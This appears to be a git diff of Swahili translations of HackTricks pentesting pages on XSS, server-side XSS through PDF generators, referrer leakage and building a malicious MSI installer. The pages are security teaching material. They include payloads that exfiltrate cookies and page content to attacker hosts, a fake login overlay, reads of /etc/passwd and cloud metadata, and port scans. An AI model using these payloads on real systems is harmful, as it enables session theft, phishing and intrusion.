<svg onload=alert(1)//
@ -840,7 +840,7 @@ Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inaendesha** ik
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
Aina pekee za **Content-Type** ambazo zitaruhusu Chrome kuendesha **script iliyopakiwa** ni zile ndani ya const **`kSupportedJavascriptTypes`** kutoka [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
Aina pekee za **Content-Type** ambazo zitaruhusu Chrome kuendesha **script iliyopakiwa** ni zile zilizo ndani ya const **`kSupportedJavascriptTypes`** kutoka [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -869,7 +869,7 @@ const char* const kSupportedJavascriptTypes[] = {
<script type="???"></script>
```
- **module** (default, hakuna cha kuelezea)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ni kipengele ambacho unaweza kufunga kundi la data (HTML, CSS, JS…) pamoja katika faili ya **`.wbn`**.
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ni kipengele ambacho unaweza kufunga kundi la data (HTML, CSS, JS…) pamoja katika faili **`.wbn`**.
```html
<script type="webbundle">
{
@ -923,11 +923,11 @@ Tabia hii ilitumika katika [**hati hii**](https://github.com/zwade/yaca/tree/mas
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? si kwenye orodha lakini nadhani niliiona hii katika CTF)
- text/plain (?? si katika orodha lakini nadhani niliiona hii katika CTF)
- application/rss+xml (off)
- application/atom+xml (off)
Katika vivinjari vingine **`Content-Types`** nyingine zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
Katika vivinjari vingine aina nyingine za **`Content-Types`** zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
@ -943,7 +943,7 @@ Ikiwa ukurasa unarudisha aina ya maudhui ya text/xml inawezekana kuashiria names
Wakati kitu kama **`"some {{template}} data".replace("{{template}}", <user_input>)`** kinatumika. Mshambuliaji anaweza kutumia [**mabadiliko maalum ya nyuzi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kujaribu kupita baadhi ya ulinzi: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika ku **kutoa nyuzi za JSON** ndani ya script na kutekeleza msimbo wa kiholela.
Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika **kutoa nyuzi za JSON** ndani ya script na kutekeleza msimbo wa kiholela.
### Chrome Cache hadi XSS
@ -951,7 +951,7 @@ Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)
chrome-cache-to-xss.md
{{#endref}}
### XS Jails Kutoroka
### Kutoroka kwa XS Jails
Ikiwa una seti ndogo tu ya wahusika kutumia, angalia hizi suluhisho nyingine halali za matatizo ya XSJail:
```javascript
@ -984,7 +984,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii ripoti**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika:
Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii ripoti**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika wa kiholela:
- Kutumia import()
```javascript
@ -1267,9 +1267,9 @@ Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitend
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Hutaweza kupata vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa una [njia kadhaa za kupita ulinzi huu](../hacking-with-cookies/index.html#httponly) ikiwa umebahatika.
> Hutaweza kufikia vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa una [njia kadhaa za kupita ulinzi huu](../hacking-with-cookies/index.html#httponly) ikiwa umebahatika.
### Pora Maudhui ya Ukurasa
### Kuiba Maudhui ya Ukurasa
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
@ -1339,11 +1339,11 @@ q.shift()()
}
</script>
```
### Port Scanner (fetch)
### Skana wa Bandari (fetch)
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### Scanner ya Port (websockets)
### Skana wa Bandari (websockets)
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
@ -1363,7 +1363,7 @@ _Maisha mafupi yanaonyesha bandari inayojibu_ _Maisha marefu yanaonyesha hakuna
Kagua orodha ya bandari zilizokatazwa katika Chrome [**hapa**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) na katika Firefox [**hapa**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Sanduku la kuomba ithibitisho
```markup
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Kukamata nywila za kujaza kiotomatiki
@ -1404,7 +1404,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
</script>
```
### Kuiba ujumbe wa PostMessage
```markup
```html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
@ -1432,7 +1432,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
### Payloads za XSS za Kijinga
Unaweza pia kutumia: [https://xsshunter.com/](https://xsshunter.com)
```markup
```html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
@ -1518,7 +1518,7 @@ Taarifa zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-ex
### XSS katika PDF inayoundwa kwa dinamik
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia input inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kutumia** tabia hii kusababisha **Server XSS**.
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakwenda **kuziandika**, na unaweza **kutumia** tabia hii kusababisha **Server XSS**.
{{#ref}}
server-side-xss-dynamic-pdf.md
@ -1541,7 +1541,7 @@ Mfano [**writeup XSS katika Amp4Email katika Gmail**](https://adico.me/post/xss-
### XSS kupakia faili (svg)
Pakia kama picha faili kama ifuatavyo (kutoka [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```markup
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
@ -1559,13 +1559,13 @@ alert(1);
-----------------------------232181429808--
```
```markup
```html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
```
```markup
```html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">

View File

@ -4,24 +4,24 @@
## Server Side XSS (Dynamic PDF)
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia pembejeo zinazodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS wa kiholela**.\
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kutumia** tabia hii kusababisha **Server XSS**.
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia pembejeo zinazodhibitiwa na mtumiaji, unaweza kujaribu **kuwadanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mpangilio**.\
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kuitumia** tabia hii kusababisha **Server XSS**.
Tafadhali, zingatia kwamba vitambulisho vya `<script></script>` havifanyi kazi kila wakati, hivyo utahitaji njia tofauti ya kutekeleza JS (kwa mfano, kutumia `<img` ).\
Pia, kumbuka kwamba katika unyakuzi wa kawaida utaweza **kuona/kushusha pdf iliyoundwa**, hivyo utaweza kuona kila kitu unachokiandika kupitia JS (ukitumia `document.write()` kwa mfano). Lakini, ikiwa **huwezi kuona** PDF iliyoundwa, huenda ukahitaji **kuchota taarifa kwa kufanya ombi la wavuti kwako** (Blind).
Pia, kumbuka kwamba katika unyakuzi wa kawaida utaweza **kuona/kushusha pdf iliyoundwa**, hivyo utaweza kuona kila kitu unachokiandika kupitia JS (ukitumia `document.write()` kwa mfano). Lakini, ikiwa **hutaweza kuona** PDF iliyoundwa, huenda ukahitaji **kuchota taarifa kwa kufanya ombi la wavuti kwako** (Blind).
### Uundaji wa PDF maarufu
- **wkhtmltopdf** inajulikana kwa uwezo wake wa kubadilisha HTML na CSS kuwa hati za PDF, ikitumia injini ya uwasilishaji ya WebKit. Chombo hiki kinapatikana kama zana ya amri ya chanzo wazi, na kufanya iweze kupatikana kwa matumizi mbalimbali.
- **TCPDF** inatoa suluhisho thabiti ndani ya mfumo wa PHP kwa uundaji wa PDF. Ina uwezo wa kushughulikia picha, grafiki, na usimbuaji, ikionyesha uwezo wake wa kuunda hati ngumu.
- **TCPDF** inatoa suluhisho thabiti ndani ya mfumo wa PHP kwa uundaji wa PDF. Ina uwezo wa kushughulikia picha, grafiki, na usimbaji, ikionyesha uwezo wake wa kuunda hati ngumu.
- Kwa wale wanaofanya kazi katika mazingira ya Node.js, **PDFKit** inatoa chaguo linalofaa. Inaruhusu uundaji wa hati za PDF moja kwa moja kutoka HTML na CSS, ikitoa daraja kati ya maudhui ya wavuti na fomati zinazoweza kuchapishwa.
- Wataalamu wa Java wanaweza kupendelea **iText**, maktaba ambayo si tu inarahisisha uundaji wa PDF bali pia inasaidia vipengele vya juu kama saini za dijitali na kujaza fomu. Seti yake kamili ya vipengele inafanya iweze kutumika kwa kuunda hati salama na za mwingiliano.
- **FPDF** ni maktaba nyingine ya PHP, inayojulikana kwa urahisi na urahisi wa matumizi. Imeundwa kwa waendelezaji wanaotafuta njia rahisi ya uundaji wa PDF, bila haja ya vipengele vya kina.
- Wajenzi wa Java wanaweza kupendelea **iText**, maktaba ambayo si tu inarahisisha uundaji wa PDF bali pia inasaidia vipengele vya juu kama saini za dijitali na kujaza fomu. Seti yake kamili ya vipengele inafanya iweze kutumika kwa kuunda hati salama na za mwingiliano.
- **FPDF** ni maktaba nyingine ya PHP, inayojulikana kwa urahisi na urahisi wa matumizi. Imeundwa kwa ajili ya wabunifu wanaotafuta njia rahisi ya uundaji wa PDF, bila haja ya vipengele vingi.
## Payloads
### Discovery
```markup
```html
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
@ -36,7 +36,7 @@ Pia, kumbuka kwamba katika unyakuzi wa kawaida utaweza **kuona/kushusha pdf iliy
### SVG
Miongoni mwa payloads zilizotangulia au zinazofuata zinaweza kutumika ndani ya payload hii ya SVG. Iframe moja inayofikia subdomain ya Burpcollab na nyingine inayofikia kiungo cha metadata zimewekwa kama mifano.
```markup
```html
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
@ -63,7 +63,7 @@ alert(1);
Unaweza kupata **payloads nyingine nyingi za SVG** katika [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
### Ufunuo wa njia
```markup
```html
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
@ -71,8 +71,8 @@ if not, you will at least have wich path the bot is accessing -->
```
### Load an external script
Njia bora ya kutumia udhaifu huu ni kutumia udhaifu huo kufanya bot ipakue script unayodhibiti kwa ndani. Kisha, utaweza kubadilisha payload kwa ndani na kufanya bot ipakue hiyo kwa kutumia msimbo sawa kila wakati.
```markup
Njia bora ya kutumia udhaifu huu ni kutumia udhaifu huo kufanya bot ipakue script unayodhibiti kwa ndani. Kisha, utaweza kubadilisha payload kwa ndani na kufanya bot ipakue hiyo kwa kutumia kanuni ile ile kila wakati.
```html
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
@ -81,8 +81,8 @@ Njia bora ya kutumia udhaifu huu ni kutumia udhaifu huo kufanya bot ipakue scrip
> [!WARNING]
> Badilisha `file:///etc/passwd` kwa `http://169.254.169.254/latest/user-data` kwa mfano ili **kujaribu kufikia ukurasa wa wavuti wa nje (SSRF)**.
>
> Ikiwa SSRF inaruhusiwa, lakini huwezi **kufikia** kikoa au IP ya kuvutia, [angalia ukurasa huu kwa njia za kuweza kupita](../ssrf-server-side-request-forgery/url-format-bypass.md).
```markup
> Ikiwa SSRF inaruhusiwa, lakini huwezi **kufikia** kikoa au IP ya kuvutia, [angalia ukurasa huu kwa njia za kupita](../ssrf-server-side-request-forgery/url-format-bypass.md).
```html
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
@ -90,7 +90,7 @@ x.open("GET","file:///etc/passwd");x.send();
</script>
```
```markup
```html
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
@ -100,7 +100,7 @@ xhzeem.send();
</script>
```
```markup
```html
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
@ -112,11 +112,11 @@ xhzeem.send();
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
```
```markup
```html
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
### Kuchelewesha bot
```markup
### Kuchelewesha kwa bot
```html
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
@ -128,8 +128,8 @@ time += 500;
</script>
<img src="https://attacker.com/delay">
```
### Skanningi ya Bandari
```markup
### Skana ya Bandari
```html
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
@ -147,13 +147,13 @@ checkPort(i);
```
### [SSRF](../ssrf-server-side-request-forgery/index.html)
Uthibitisho huu unaweza kubadilishwa kwa urahisi kuwa SSRF (kama unaweza kufanya script ipakue rasilimali za nje). Hivyo jaribu tu kuutumia (kusoma metadata?).
Ukiwa na udhaifu huu, unaweza kuubadilisha kwa urahisi kuwa SSRF (kwa sababu unaweza kufanya script ipakue rasilimali za nje). Hivyo jaribu tu kuutumia (kusoma metadata baadhi?).
### Attachments: PD4ML
Kuna injini kadhaa za HTML 2 PDF ambazo zinaruhusu **kuelezea viambatisho kwa PDF**, kama **PD4ML**. Unaweza kutumia kipengele hiki **kuambatisha faili yoyote ya ndani** kwenye PDF.\
Ili kufungua kiambatisho nilifungua faili hiyo kwa **Firefox na kubonyeza mara mbili alama ya Paperclip** ili **kuhifadhi kiambatisho** kama faili mpya.\
Kuchukua **jibu la PDF** na burp pia **kitaonyesha kiambatisho kwa maandiko wazi** ndani ya PDF.
Kuna injini kadhaa za HTML 2 PDF ambazo zinaruhusu **kueleza viambatisho kwa PDF**, kama **PD4ML**. Unaweza kutumia kipengele hiki **kuambatisha faili yoyote ya ndani** kwenye PDF.\
Ili kufungua kiambatisho, nilifungua faili hiyo kwa **Firefox na kubonyeza mara mbili alama ya Paperclip** ili **kuhifadhi kiambatisho** kama faili mpya.\
Kuchukua **PDF response** na burp pia inapaswa **kuonyesha kiambatisho kwa maandiko wazi** ndani ya PDF.
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html>

View File

@ -2,7 +2,7 @@
# Referrer headers and policy
Referrer ni kichwa kinachotumiwa na vivinjari kuonyesha ni ipi ilikuwa ukurasa wa awali uliozuru.
Referrer ni kichwa kinachotumiwa na vivinjari kuonyesha ni ukurasa gani wa awali ulitembelewa.
## Taarifa nyeti zilizovuja
@ -10,7 +10,7 @@ Ikiwa katika wakati fulani ndani ya ukurasa wa wavuti taarifa nyeti ziko kwenye
## Mitigation
Unaweza kufanya kivinjari kifuatilie **Referrer-policy** ambayo inaweza **kuepusha** taarifa nyeti kutumwa kwa programu nyingine za wavuti:
Unaweza kufanya kivinjari kufuata **Referrer-policy** ambayo inaweza **kuepusha** taarifa nyeti kutumwa kwa programu nyingine za wavuti:
```
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
@ -24,7 +24,7 @@ Referrer-Policy: unsafe-url
## Counter-Mitigation
Unaweza kubadilisha sheria hii kwa kutumia tag ya meta ya HTML (mshambuliaji anahitaji kutumia na kuingiza HTML):
```markup
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```

View File

@ -1,13 +1,13 @@
{{#include ../../banners/hacktricks-training.md}}
# Kuunda MSI Mbaya na Kupata Mzizi
# Kuunda MSI Mbaya na Kupata Root
Uundaji wa msanidi wa MSI utafanywa kwa kutumia wixtools, haswa [wixtools](http://wixtoolset.org) itatumika. Inafaa kutajwa kwamba waumbaji wengine wa MSI walijaribiwa, lakini hawakuwa na mafanikio katika kesi hii maalum.
Uundaji wa msanidi wa MSI utafanywa kwa kutumia wixtools, haswa [wixtools](http://wixtoolset.org) itatumika. Inafaa kutajwa kwamba wajenzi wengine wa MSI walijaribiwa, lakini hawakuwa na mafanikio katika kesi hii maalum.
Kwa ufahamu wa kina wa mifano ya matumizi ya wix MSI, ni vyema kushauriana na [ukurasa huu](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Hapa, unaweza kupata mifano mbalimbali inayodhihirisha matumizi ya wix MSI.
Kwa ufahamu wa kina wa mifano ya matumizi ya wix MSI, ni vyema kushauriana na [ukurasa huu](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Hapa, unaweza kupata mifano mbalimbali inayoonyesha matumizi ya wix MSI.
Lengo ni kuzalisha MSI ambayo itatekeleza faili ya lnk. Ili kufanikisha hili, msimbo wa XML ufuatao unaweza kutumika ([xml kutoka hapa](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
```markup
```html
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
@ -38,7 +38,7 @@ fail_here
</Product>
</Wix>
```
Ni muhimu kutambua kwamba kipengele cha Package kina sifa kama InstallerVersion na Compressed, zinazoelezea toleo la installer na kuashiria ikiwa kifurushi kimepigwa au la, mtawalia.
Ni muhimu kutambua kwamba kipengele cha Package kina sifa kama InstallerVersion na Compressed, zinazoelezea toleo la installer na kuashiria ikiwa kifurushi kimepandwa au la, mtawalia.
Mchakato wa uundaji unahusisha kutumia candle.exe, chombo kutoka wixtools, kutengeneza wixobject kutoka msi.xml. Amri ifuatayo inapaswa kutekelezwa:
```